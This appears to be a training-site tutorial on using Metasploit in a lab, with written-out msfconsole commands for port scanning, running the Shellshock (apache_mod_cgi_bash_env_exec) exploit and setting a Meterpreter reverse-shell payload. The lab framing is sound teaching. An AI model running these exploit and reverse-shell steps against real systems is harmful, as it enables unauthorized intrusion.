The Academy is free // the war room is optional
DAEMONCORE // ACADEMY
← FIELD NOTES

Metasploit in your lab: navigating its pitfalls and promises

2026.09.12//10 MIN READmetasploitpenetration-testingsecurity-labsred-team

// The Setup: A Controlled Environment

Before diving into Metasploit, ensure you have a safe, isolated lab environment. Use something like Building a disposable lab range for practicing network attacks for guidance. Running Metasploit against unprotected systems is a fast track to trouble.

Basic Configuration

1. Install Metasploit (Assuming you’re on Kali Linux):

   sudo apt update && sudo apt install metasploit-framework

2. Start the Metasploit console:

   msfconsole

Once you’re in, you can check if everything is set up by running:

msf > version

This should return the current version of Metasploit you're running, confirming that it's operational.

// Scanning the Target

Before exploiting, you need to know your target. Let’s say you have a vulnerable machine running on your local network with an IP address of 192.168.1.100. Start with a port scan using Metasploit’s built-in tools:

msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(portscan/tcp) > set RHOSTS 192.168.1.100
msf auxiliary(portscan/tcp) > run

Understanding the Output

The output will list open ports and give you insights into potential services running on your target:

  • Ports like 22 (SSH), 80 (HTTP), or 443 (HTTPS) are commonly found.
  • Each open port presents an opportunity for exploitation or further reconnaissance.

Common Mistakes to Avoid

  • Skipping scanning phase: Going straight for exploitation without understanding the target leads to missed opportunities and potential failures.
  • Not verifying services: Services might be running under non-standard ports.

// Choosing an Exploit

After gathering information, choose an exploit. For instance, if you discover port 80 is open and there’s a known vulnerability in Apache, you can use a suitable exploit:

msf > search apache

Select the appropriate exploit:

msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(apache_mod_cgi_bash_env_exec) > set RHOST 192.168.1.100
msf exploit(apache_mod_cgi_bash_env_exec) > set RPORT 80

Configuring Payloads

You’ll also need to configure a payload, like a reverse shell. For example:

msf exploit(apache_mod_cgi_bash_env_exec) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(apache_mod_cgi_bash_env_exec) > set LHOST <your_ip_address>
msf exploit(apache_mod_cgi_bash_env_exec) > exploit

You’ll replace <your_ip_address> with your actual IP. The payload sends a reverse shell back to your machine.

Defensive Implications

  • Network Monitoring: Deploy intrusion detection systems (IDS) that can catch exploit attempts.
  • Service Hardening: Regularly patch and secure services running on your systems to reduce attack surface.

// Workflow Checklist

1. Setup the Lab: Ensure your testing environment is secure. 2. Install and Start Metasploit. 3. Scan the Target: Identify open ports and services. 4. Select Exploits: Choose based on your findings. 5. Configure Payloads: Make sure they’re set correctly for your environment. 6. Run the Exploit: Monitor the process, and be prepared to analyze the outcome. 7. Clean Up: Always remove any test artifacts post-exploitation.

// Conclusion

Metasploit is powerful, but it’s a double-edged sword. Knowing how to use it effectively and safely can make all the difference in a penetration test. Remember, every technique discussed here should only be applied in environments you own or have explicit permission to test. For further exploration of security practices, visit the DaemonCore Academy curriculum, which is free and ready for you to enhance your skills.